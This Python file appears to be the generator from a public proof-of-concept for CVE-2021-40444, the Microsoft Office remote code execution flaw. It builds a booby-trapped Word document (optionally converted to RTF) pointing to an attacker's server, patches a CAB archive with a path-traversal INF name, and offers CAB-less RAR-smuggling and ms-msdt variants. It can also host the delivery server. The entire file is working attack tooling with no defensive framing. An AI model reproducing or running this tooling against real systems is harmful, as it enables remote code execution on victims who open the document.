CVE-2021-40444/generator.py

#!/usr/bin/env python3

# Microsoft Office Remote Code Execution Exploit via Logical Bug
# Result is ability for attackers to execute arbitrary custom DLL's
# downloaded and executed on target system
import argparse
import base64
import binascii
import random
import re
import secrets
import shutil
import string
import struct
import sys
import os
import subprocess
import tempfile
import time
import traceback
from pathlib import Path
import win32com.client

from cab_parser import Cab
from in_place import InPlace


def patch_cab(path: Path, original_inf_path, patched_inf_path):
    with InPlace(str(path.absolute()), mode="b") as out_cab:
        cab = Cab(out_cab.read())
        print("  [*] Setting setID to 1234")
        cab.change_set_id(1234)
        print("  [*] Setting CFFolder.coffCabStart to 80")
        cab.change_coff_cab_start(80)
        print("  [*] Setting CFFolder.CCFData to 2")
        cab.change_ccfdata_count(2)
        size = struct.unpack("<I", b"\x00\x22\x44\x00")[0]
        print(f"  [*] Setting CFFile.CbFile to {size}")
        cab.change_cffile_cbfile(size)
        print("  [*] Making INF file read only")
        cab.make_file_read_only()
        print("  [*] Zeroing out Checksum")
        cab.zero_out_signature()
        out_cab.write(cab.to_bytes())

    with InPlace(str(path.absolute()), mode="b") as out_cab:
        content = out_cab.read()
        content = content.replace(original_inf_path, patched_inf_path)
        print(f"  [*] Patching path '{original_inf_path.decode()}' to '{patched_inf_path.decode()}'")
        out_cab.write(content)


def make_ddf(ddf_file: Path, cab_file: Path, inf_file: Path):
    # We need to generate a DDF file for makecab to work properly
    # CabinetNameTemplate = Basename of the cab file
    # DiskDirectoryTemplate = Directory where the cab file will be
    with open(str(ddf_file.absolute()), "w") as ddf:
        ddf.write(rf""".OPTION EXPLICIT
.Set CabinetNameTemplate={cab_file.name}       
.set DiskDirectoryTemplate={cab_file.parent.name}
.Set CompressionType=MSZIP
.Set UniqueFiles=OFF
.Set Cabinet=ON
.Set Compress=OFF
.Set CabinetFileCountThreshold=0
.Set FolderFileCountThreshold=0
.Set FolderSizeThreshold=0
.Set MaxCabinetSize=0
.Set MaxDiskFileCount=0
.Set MaxDiskSize=0
"{inf_file.absolute()}"
""")


def execute_cmd(cmd, execute_from=None):
    print(cmd)
    try:
        subprocess.check_output(
            cmd,
            shell=True,
            cwd=execute_from
        )
    except subprocess.CalledProcessError as calledProcessError:
        print(calledProcessError)
        exit(1)


def patch_rar(rar_file, script: bytes):
    # JS downloader string
    downloader = bytearray(script)
    # Appending null byte
    # downloader.append(0)
    content = bytearray(open(rar_file, "rb").read())
    content = bytes(downloader + content)
    with open(rar_file, "wb") as rar:
        rar.write(content)


def rar(file: Path, rar_file, delete=False):
    try:
        output = subprocess.check_output(
            f"bin\\rar.exe a -ep \"{rar_file}\" \"{str(file)}\"",
            stderr=subprocess.STDOUT,
            shell=True
        )
        if delete:
            file.unlink(missing_ok=True)
    except subprocess.CalledProcessError:
        print("[-] Error generating RAR archive")
        exit(1)


def make_rar(rar_file):
    file_name = None
    with tempfile.NamedTemporaryFile(
            suffix=".txt",
            delete=False,
            mode="w"
    ) as txt_file:
        txt_file.write("You've been pwnd!")
        file_name = Path(txt_file.name).absolute()

    rar(file_name, rar_file, delete=True)


def choose_template(templates: list):
    try:
        print("[*] Multiple compatible templates identified, choose one:")
        choice = -1
        for n, t in enumerate(templates, start=0):
            print(f"  {n}: {t}")
        while not 0 <= choice <= len(templates) - 1:
            try:
                choice = int(input("  $> "))
            except ValueError:
                continue
        return templates[choice]
    except KeyboardInterrupt:
        print("[-] Aborting")
        sys.exit(1)


def append_garbage(content: str, exploit: str):
    eol = '\n'
    garbage = ""
    filler = "A" * 80000
    if exploit == ".vbs":
        eol = '" _ \n & "'
        garbage = rf"""
Dim Garbage
Garbage = "{eol.join([filler[i:i + 100] for i in range(0, len(filler), 100)])}";
        """
    elif exploit == ".js":
        garbage = f"var x = '';{eol}" + eol.join([f"x = '{filler[i:i + 100]}';" for i in range(0, len(filler), 100)])
    elif exploit in [".wsf", ".hta"]:
        garbage = f"<!--{eol}{filler}{eol}-->{eol}"
    return content + garbage


def get_file_extension_based_uri(exploit, no_cab=False):
    if exploit == ".dll":
        return ".cpl"
    elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"] and no_cab:
        return exploit
    elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"]:
        return ".wsf"
    else:
        return "ms-msdt"


def get_mime_type(exploit):
    if exploit == ".dll":
        return "application/octet-stream"
    elif exploit == ".hta":
        return "application/hta"
    elif exploit == ".js":
        return "text/javascript"
    elif exploit == ".vbs":
        return "text/vbscript"
    elif exploit == ".wsh":
        return "text/plain"
    elif exploit == ".wsf":
        return "text/xml"
    else:
        return "text/plain"


def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False, convert=False):
    # Current Working Directory
    working_directory = Path(__file__).parent

    # Relevant directories for Execution
    data_path = working_directory.joinpath("data")
    word_dat_path = data_path.joinpath("word_dat")
    srv_path = working_directory.joinpath("srv")
    out_path = working_directory.joinpath("out")
    cab_path = working_directory.joinpath("cab")
    template_path = working_directory.joinpath("template")

    # Relevant files
    tmp_path = data_path.joinpath("tmp_doc")
    word_dll = data_path.joinpath(f'{basename}.dll')
    word_doc = out_path.joinpath('document.docx')
    ddf = data_path.joinpath('mswordcab.ddf')
    archive_file = out_path.joinpath(f"{basename}.cab")
    rar_file = out_path.joinpath(f"{basename}.rar")
    exploit_file = cab_path.joinpath(f"{basename}.inf")

    exploit = os.path.splitext(args.payload)[1]

    if no_cab and exploit not in [".wsf", ".ps1"]:
        print("[-] CAB-less version chosen, only .wsf and .ps1 are currently working")
        exit(1)

    lolbin = exploit not in [".dll", ".ps1"]

    if exploit == ".wsf" and no_cab:
        id = "cabless-rar-"
    elif exploit == ".ps1" and no_cab:
        id = "cabless-msdt-"
    elif lolbin and no_cab:
        id = "cabless-smuggling-"
    elif lolbin:
        id = "cab-uri-"
    else:
        id = "cab-orig-"

    script_file = None
    templates = [
        f for f in os.listdir(str(template_path))
        if os.path.isfile(os.path.join(str(template_path), f))
           and f.find(id) > -1
    ]
    html_template_file = template_path.joinpath(choose_template(templates))
    html_final_file = srv_path.joinpath(f"{basename}.html")

    # Checking ephemeral directories
    tmp_path.mkdir(exist_ok=True)
    cab_path.mkdir(exist_ok=True)
    srv_path.mkdir(exist_ok=True)
    out_path.mkdir(exist_ok=True)

    print(f'  [>] Payload: {payload}')
    print(f'  [>] HTML/CAB/JS Hosting Server: {server_url}')

    b64_payload = None
    payload_content = None
    try:
        if exploit != ".dll" and no_cab:
            payload_content = open(payload, 'r').read().strip().encode()
        elif exploit != ".dll":
            payload_content = "\x5a\x4d" + open(payload, 'r').read().strip()
            payload_content = append_garbage(payload_content, exploit)
            payload_content = payload_content.encode()
        else:
            payload_content = open(payload, 'rb').read()
        with open(str(word_dll), 'wb') as filep:
            filep.write(payload_content)
        b64_payload = base64.b64encode(payload_content).decode()
    except FileNotFoundError:
        print('[-] Payload specified not found!')
        exit(1)
    except Exception as e:
        print(f"[-] Exception: {e}")
        exit(1)

    if lolbin and no_cab:
        tmp = Path(exploit_file.parent).joinpath(basename + get_file_extension_based_uri(exploit))
        exploit_file.unlink(missing_ok=True)
        exploit_file = Path(tmp)
        with open(str(exploit_file), "w") as out:
            out.write(payload_content.decode())
        print(f"[*] Exposing script file {exploit_file.name} to the webserver for download")
        shutil.copy(str(exploit_file), str(srv_path))

    shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True)
    print('[*] Crafting Relationships to point to HTML/CAB/JS Hosting Server...')
    with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels:
        xml_content = rels.read()
        if exploit != ".ps1":
            xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}')
        else:
            xml_content = xml_content.replace('mhtml:<EXPLOIT_HOST_HERE>!x-usc:<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}!')
        # xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name)
        rels.write(xml_content)

    print('[*] Packing MS Word .docx file...')
    word_doc.unlink(missing_ok=True)
    shutil.make_archive(str(word_doc), 'zip', str(tmp_path))
    shutil.move(str(word_doc) + ".zip", str(word_doc))
    shutil.rmtree(str(tmp_path))

    if not no_cab:
        print('[*] Generating CAB file...')
        make_ddf(ddf_file=ddf, cab_file=archive_file, inf_file=exploit_file)
        shutil.move(word_dll, exploit_file)

        execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory))
        patched_path = f'../{exploit_file.name}'.encode()
        patch_cab(archive_file, str(exploit_file.name).encode(), patched_path)
        shutil.copy(archive_file, srv_path)
        shutil.copy(ddf, srv_path)

    word_dll.unlink(missing_ok=True)
    exploit_file.unlink(missing_ok=True)
    ddf.unlink(missing_ok=True)
    shutil.rmtree(str(cab_path.absolute()))

    print('[*] Updating information on HTML exploit...')
    shutil.copy(str(html_template_file), str(html_final_file))

    print('[*] Copying MS Word .docx to Desktop for local testing...')
    dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name)
    dest.unlink(missing_ok=True)
    shutil.copy(str(word_doc.absolute()), dest)

    if copy_to and os.path.isdir(copy_to) and not no_cab:
        print(f'[*] Copying malicious cab to {copy_to} for analysis...')
        dest = Path(copy_to).joinpath(archive_file.name)
        dest.unlink(missing_ok=True)
        shutil.copy(str(archive_file.absolute()), dest)
        print(f'  [>] CAB file stored at: {archive_file}')

    with InPlace(str(html_final_file)) as p_exp:
        content = p_exp.read()
        content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{archive_file.name}")
        content = content.replace('<INF_CHANGE_HERE>', f"{exploit_file.name}")
        content = content.replace('<RAR_CHANGE_HERE>', f"{rar_file.name}")
        content = content.replace('<URI_SCHEME_HERE>', get_file_extension_based_uri(exploit))
        content = content.replace('<BASE64_DATA_HERE>', b64_payload)
        content = content.replace('<PAYLOAD_HERE>', payload_content.decode()) if exploit != ".dll" else ""
        content = content.replace('<MIME_TYPE_HERE>', get_mime_type(exploit))
        content = content.replace('<FIRST_LETTER>', get_file_extension_based_uri(exploit)[1])
        content = content.replace('<SECOND_LETTER>', get_file_extension_based_uri(exploit)[2])
        content = content.replace('<THIRD_LETTER>', get_file_extension_based_uri(exploit)[3])
        p_exp.write(content)

    print(f'[+] Success! MS Word Document stored at: {word_doc}')

    if convert:
        if convert_to_rtf(word_doc):
            print(f'[+] Success! MS Word Document was converted to RTF!')
        else:
            print(f'[-] ERROR. MS Word Document could not be converted to RTF.')

    if exploit == ".wsf" and no_cab:
        print(f"[*] Generating RAR file {rar_file.name}... and pushing it to 'Downloads', to emulate user download")
        rar_dest = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath(rar_file.name)
        wsf_file = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath("test.wsf")
        rar(word_doc, rar_dest, delete=False)
        patch_rar(rar_file=rar_dest, script=payload_content)
        shutil.copy(str(rar_dest), str(srv_path))
        shutil.copy(str(rar_dest), str(wsf_file))

    return html_final_file.name


def start_server(ip, port, directory: Path):
    this = Path(__file__).parent.joinpath("util").joinpath("server.py")
    subprocess.Popen(
        f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" {ip} {port}',
        shell=True,
        close_fds=True,
        stderr=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        creationflags=subprocess.DETACHED_PROCESS
    )


def start_client(url):
    subprocess.Popen(
        f'"C:\\Program Files\\Internet Explorer\\iexplore.exe" "{url}"',
        shell=True,
        close_fds=True,
        stderr=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        creationflags=subprocess.DETACHED_PROCESS
    )


def clean():
    pass


def convert_to_rtf(filename):
    new_file = os.path.splitext(filename)[0] + ".rtf"
    try:
        word = win32com.client.Dispatch("Word.application")
        word.Visible = False
        wordDoc = word.Documents.Open(str(Path(filename).absolute()))
        # wdFormatRTF = 6
        wordDoc.SaveAs2(str(Path(new_file).absolute()), FileFormat=6)
        wordDoc.Close()
        return True
    except:
        traceback.print_exc()
        return False


def validate_filename(filename):
    # Required length for the file name
    required_length = 12
    if not filename:
        filename = ""
    current_length = len(filename)
    if current_length > 12:
        filename = filename[:12]
    gap = required_length - current_length
    return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]')
    parser.add_argument('-P', '--payload', type=str, required=True,
                        help="DLL payload to use for the exploit")
    parser.add_argument('-u', '--url', type=str, default=None, required=True,
                        help="Server URL for malicious references (CAB->INF)")
    parser.add_argument('-o', '--output', type=str, default=None, required=False,
                        help="Output files basename (no extension)")
    parser.add_argument('--host', action='store_true', default=False, required=False,
                        help="If set, will host the payload after creation")
    parser.add_argument('-c', '--copy-to', type=str, default=None, required=False,
                        help="Copy payload to an alternate path")
    parser.add_argument('-nc', '--no-cab', action='store_true', default=False, required=False,
                        help="Use the CAB-less version of the exploit")
    parser.add_argument('-t', '--test', action='store_true', default=False, required=False,
                        help="Open IExplorer to test the final HTML file")
    parser.add_argument('-x', '--convert', action='store_true', default=False, required=False,
                        help="Convert DOCX into RTF format")

    args = parser.parse_args()

    filename = validate_filename(args.output)

    print('[*] Generating a malicious payload...')
    html = None
    server = args.url

    port = 80
    ip = "127.0.0.1"
    scheme = ""
    try:
        scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1].split(":")[0]
        if scheme == "http":
            port = 80
        elif scheme == "https":
            port = 443
        else:
            raise NotImplemented(f"Scheme {scheme} is not supported")
        if len(server.split(":")) > 2:
            port = int(server.split(":")[2].split("/")[0])
    except NotImplemented as e:
        print(f"[-] {e}")
        exit(1)
    except (ValueError, KeyError, IndexError):
        print("[-] Wrong URL format")
        exit(1)

    try:
        html = generate_payload(payload=args.payload, server_url=server, basename=filename, copy_to=args.copy_to,
                                no_cab=args.no_cab, convert=args.convert)
    except (SystemExit, KeyboardInterrupt):
        exit(1)
    except:
        traceback.print_exc()
        exit(1)
    if args.host and html:
        print(f'[*] Hosting HTML Exploit at {scheme}://{ip}:{port}/{html}...')
        start_server(ip=ip, port=port, directory=Path(__file__).parent.joinpath("srv"))
    if args.test:
        if os.path.splitext(args.payload)[1] != ".wsf":
            print(f"[-] IE testing might not compatible with {os.path.splitext(args.payload)[1]}")
        print(f'[*] Opening IE at {args.url}/{html}...')
        time.sleep(3)
        start_client(f"{args.url}/{html}")